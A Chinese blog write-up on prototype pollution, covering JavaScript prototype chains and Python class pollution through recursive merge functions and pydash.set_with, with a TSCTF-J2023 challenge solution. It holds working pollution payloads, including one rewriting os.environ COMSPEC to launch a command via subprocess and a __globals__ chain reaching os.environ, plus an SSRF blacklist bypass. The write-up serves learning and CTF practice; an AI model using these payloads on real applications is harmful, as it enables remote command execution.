【原型链污染】Python与Js

一、背景

最近在TSCTF的比赛题中遇到了Python的原型链污染题目,所以借此机会学习一下。说到原型链,最多的还是在Js中,所以就一并学习一下。(因为是菜鸡所以文章可能的存在一些错误,欢迎批评指正)。

二、JS原型链简介

原型是Js代码中对象的继承方式。其实和别的语言的继承方式类似,只不过这里将父类称之为原型。可以在浏览器控制台中测试以下代码:

const myObject = {
city: "BJ",
greet() {
console.log(`Greetings from ${this.city}`);
},
}; myObject.greet();

这是一个普通的访问对象属性的示例,代码输出为Greetings from BJ

控制台中只输入myObject.就可以看到该类所有的可访问属性:

可以看到存在一些我们没有定义的属性,这些属性就是继承自原型。

当我们访问一个对象的属性时,js代码会不断一层层向上寻找原型以及原型的原型,以此类推,最后如果找到的就可以访问,否则返回undefined。因此称之为原型链

类似于Python,所有的原型链存在一个最终的原型:Object.prototype。可以使用以下代码访问一个类的原型:

Object.getPrototypeOf(myObject);

或者

myObject.__proto__

这样则会返回Object类。同时如果我们访问Object类的原型,则返回NULL。

还有一个问题:如果类中定义了一个原型中也存在的方法,那么访问时遵循什么原则呢?

运行下面的代码:

const myDate = new Date(1995, 11, 17);

console.log(myDate.getYear()); // 95

myDate.getYear = function () {
console.log("something else!");
}; myDate.getYear(); // 'something else!'

可以看到有限访问类中存在属性,这也和其他语言相同。

三、Python中的原型链污染

其实Python中并没有原型这个概念,但是原型链污染实际上是一种类污染,就是我们通过输入从而控制Python类的继承,从而达到远程执行等恶意目的,所以这里模糊将其称为Python的原型链污染。

3.1 属性与魔术方法

在利用上,和flask的模板注入类似,需要使用到Python类的一些魔术方法:__str__()__call__()等等。但是因为我们的输入一般是str或者int型,所以直接在控制原始代码时会出现str等类型不能作为类的问题:

class Employee(): pass

a=Employee()

a.__class__='polluted'
print(a.__class__)

上面这段代码,尝试将对象a的类进行污染,但是会报错str类型不能作为类。但是a还存在一个属性__qualname__,用于访问类的名称:

class Employee(): pass

a=Employee()

a.__class__.__qualname__='polluted'
print(a.__class__)

通过这样的操作就可以实现修改a的类。

3.2 通过merge函数污染

一个标准的原型链污染所用代码:

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

这段代码的作用是将src字典中的内容递归地复制到dst字典中。下面通过这段代码进行类的污染:

class Employee: pass # Creating an empty class

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v) emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
},
"__class__":{
"__qualname__":"Polluted"
}
} a= Employee()
merge(emp_info, a) print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
print(a.__class__) #<class '__main__.Polluted'>

这段代码中,通过构造__class__属性中的__qualname__属性的值,并使用merge函数进行合并,因为Employee类本身具__class__属性,所以会被覆盖,实现了对对象a的污染。因为__class__等属性并不是Employee类本身的属性,而是继承的属性,所以print(vars(a))并没有打印出__class__的内容。

同样,如果我们使用下面的exp就可以实现对父类的污染:

emp_info = {
"__class__":{
"__base__":{
"__qualname__":"Polluted"
}
}
}

当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。

在这种情况下,如果代码中存在一些系统执行指令,并且merge的输入可控,就会导致系统执行漏洞:

import os

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v) class exp:
def __init__(self,cmd):
self.cmd=cmd
def excute(self):
os.system(self.cmd) a=exp('1')
b={"cmd":"ping 127.0.0.1"}
merge(b,a) print(vars(a))
a.excute()

3.3 任意子类的污染

3.3.1 方法

上面的代码虽然实现了命令执行,但是只是单纯地对一个普通类进行了污染。此时如果我们能找到通向其他类的属性链,就可以污染代码中的任意类,包括重要的一些内置类(例如命令执行类)。

这里其实和模板注入就非常相似了,我们都知道__globals__属性用于访问函数的全局变量字典,通过这个属性我们其实就可以实现一些变量的覆盖。但是我们如何访问这个属性呢,这个方法可以从任何已知函数定义的方法中进行访问。例如:

class A:
def __init__(self):
pass instance=A()
print(instance.__init__.__globals__)

__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量。

但是你会说,如果没有__init__函数怎么办呢?这时就需要试试了,可以从基类Object中查找其子类,总归存在一个子类是有__init__属性的。payload:__class__.__base__.__subclasses__()

3.3.2 实例

对于这段代码:

import subprocess, json

class Employee:
def __init__(self):
pass def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v) emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value #
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess']) subprocess.Popen('whoami', shell=True)

在这里,通过寻找属性链,使用__globals__属性覆盖了subprocess的值,使其在cmd中执行了calc命令,实现了弹计算器。为什么需要找subprocess呢,主要原因还是因为通过这个模块来寻找os模块,这个才是远程执行的要点,如果代码已经import os了,那我们只需要通过__globals__属性访问即可。

3.4 通过Pydash函数污染

Pydash其实和merge函数类似,将在下面TSCTF这题中给出示例。

四、TSCTF-J2023 Python Not Node

题目给了源码:

from flask import Flask, request
import os
import pydash
import urllib.request app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com"
black_list = ['localhost', '127.0.0.1'] class Userinfo:
def __init__(self):
pass class comexec:
def test_ping(self):
cmd = os.getenv('cmd')
os.system(cmd) @app.route("/define", methods=['GET'])
def define():
if request.remote_addr == '127.0.0.1':
if request.method == 'GET':
print(request.args)
usname = request.args['username']
info = request.args['info']
origin_user = request.args['origin_user']
user = {usname: info}
print(type(user))
pydash.set_with(Userinfo(), origin_user, user, lambda: {})
result = comexec().test_ping()
return "USER READY,JUST INSERT YOUR SEARCH RESULT"
else:
return "NOPE" @app.route("/search", methods=['GET'])
def search():
if request.method == 'GET':
urls = request.args['url']
for i in black_list:
if i in urls:
return "HACKER URL!"
try:
info = urllib.request.urlopen(urls).read().decode('utf-8')
return info
except Exception as e:
print(e)
return "error"
else:
return "Method error" @app.route("/")
def home():
return "<html> Welcome to this Challenge </html> <script>alert('focus on the
source code')</script>" if __name__ == "__main__":
app.run(debug=True, port=37333, host='0.0.0.0')

这段代码两个考点,一个是SSRF的URL黑名单绕过,一个就是Python的原型链泄露。

  • SSRF

    • 常见的方式是8进制、16进制、302跳转等绕过,这些都被屏蔽了,最后题解说是简单的大小写绕过。

      但是做题的时候没想到,所以使用的是localtest.me域名绕过,这是大佬买下的域名,访问时其实是重定向到本机,这样的域名还有很多。

    • 还有一个点就是需要url编码避免参数的混淆解析,因为这里SSRF的域名也需要添加参数,所以我们要进行url编码。

  • 原型链污染

    origin_user=__class__.__init__.__globals__.os.environ&info=Polluted

    这里因为已经导入了os模块,所以可以直接通过__globals__进行访问。

参考链接

Python原型链污染变体

Abdulrah33m's Blog

【原型链污染】Python与Js的更多相关文章

  1. 原型链污染(Node.js污染,javasrcipt原型链污染的)

    学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS  https://xz.aliyun.com/t/7184 相关题是 GYCTF  ez_expr ...

  2. js原型链污染详解

    前言 之前打某湖论剑,两道js的题,给我整懵逼了,发现以前都没对js做过多少研究,趁着被毒打了,先研究一波js原型链,未雨绸缪. 基础 protype 首先我们研究js原型链,得搞明白原型是什么,这里 ...

  3. redpwnctf-web-blueprint-javascript 原型链污染学习总结

    前几天看了redpwn的一道web题,node.js的web,涉及知识点是javascript 原型链污染,以前没咋接触过js,并且这个洞貌似也比较新,因此记录一下学习过程 1.本机node.js环境 ...

  4. 初探JavaScript原型链污染

    18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出w ...

  5. 【web安全】Nodejs原型链污染分析

    Nodejs原型链污染分析 什么是js原型? 可以将js原型理解为其他OOP语言中的类,但还是有细微区别. 1. function F(){...} 2. var f = new F(); 分析: 1 ...

  6. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  7. 完整原型链详细图解之JS构造函数、原型 原型链、实例化对象

    一.首先说一下什么是构造函数: 构造函数:用来在创建对象时初始化对象.特点:构造函数名一般为大写字母开头:与new运算符一起使用来实例化对象. 举例: function Person(){} //Pe ...

  8. JavaScript原型链及其污染

    JavaScript原型链及其污染 一.什么是原型链? 1.JavaScript中,我们如果要define一个类,需要以define"构造函数"的方式来define: functi ...

  9. JS核心系列:浅谈原型对象和原型链

    在Javascript中,万物皆对象,但对象也有区别,大致可以分为两类,即:普通对象(Object)和函数对象(Function). 一般而言,通过new Function产生的对象是函数对象,其他对 ...

  10. Js 原型和原型链

    Js中通过原型和原型链实现了继承 Js对象属性的访问,首先会查找自身是否拥有这个属性 如果查到,则返回属性值,如果找不到,就会遍历原型链,一层一层的查找,如果找到就会返回属性值 直到遍历完Object ...

随机推荐

  1. macOS 系统 Kafka 快速入门

    Kafka 的核心功能是高性能的消息发送与高性能的消息消费.以下是 Kafka 的快速入门教程. 下载并解压缩 Kafka 二进制代码压缩文件 打开 Kafka 官网的下载地址,可以看到不同版本的 K ...

  2. 每日一题力扣 1262 https://leetcode.cn/problems/greatest-sum-divisible-by-three/

    . 题解 这道题目核心就算是要知道如果x%3=2的话,应该要去拿%3=1的数字,这样子才能满足%3=0 贪心 sum不够%3的时候,就减去余数为1的或者余数为2的 需要注意 两个余数为1会变成余数为2 ...

  3. python中的数据容器

    第六章:Python数据容器 数据容器入门 什么是数据容器 一种可以容纳多份数据的数据类型,容纳的每一份数据称之为1个元素,每一个元素,可以是任意类型的数据,如字符串.数字.布尔等. 根据特点的不同分 ...

  4. Typecho博客部署一言接口

    开始部署 下载代码上传至你的网站目录,把解压出来的文件夹改名为hitokoto 然后访问https://域名及文件路径/hitokoto查看效果 示例:https://sunpma.com/other ...

  5. C# Task 实现任务超时取消、超时取消然后重试 超过重试最大次数就结束。

    任务超时取消 示例 public static async Task TimeoutCancelTask() { CancellationTokenSource cts = new Cancellat ...

  6. 使用JMeter连接达梦数据库的步骤和示例

    引言: 本文将介绍如何使用JMeter连接达梦数据库,并提供连接达梦数据库的步骤和示例,帮助您快速开始进行数据库性能测试. 步骤: 1. 下载并安装JMeter:首先,从JMeter官方网站下载并安装 ...

  7. DevOps|服务治理与服务保障实践指南

    朱晋君@君哥聊技术 我自己为了消化里边的内容,整理了一个脑图,希望对你有帮助. 凌晨四点被公司的监控告警叫醒了,告警的原因是生产环境跑批任务发生故障.即刻起床处理故障,但还是花了不少时间才解决. 这次 ...

  8. 数据分析师如何用SQL解决业务问题?

    本文来自问答. 提问:数据分析人员需要掌握sql到什么程度? 请问做一名数据分析人员,在sql方面需要掌握到什么程度呢?会增删改查就可以了吗?还是说关于开发的内容也要会?不同阶段会有不同的要求吗? 正 ...

  9. 使用 VirtualBox+Vagrant 创建 CentOS7 虚拟机

    一.准备工作 1.1 软件下载 VirtualBox:Downloads – Oracle VM VirtualBox Vagrant:Install | Vagrant | HashiCorp De ...

  10. CentOS系统修改yum源

    看了一下自己之前写的文章,写的那叫一个垃圾.无地自容.作为一个菜鸡.现在不妨在博客上记录一下自己学习的记录,同时发表出来,也算作是对自己的勉励. 吾辈不孤,吾道不寡,诸君加油! 下面进入正题: Cen ...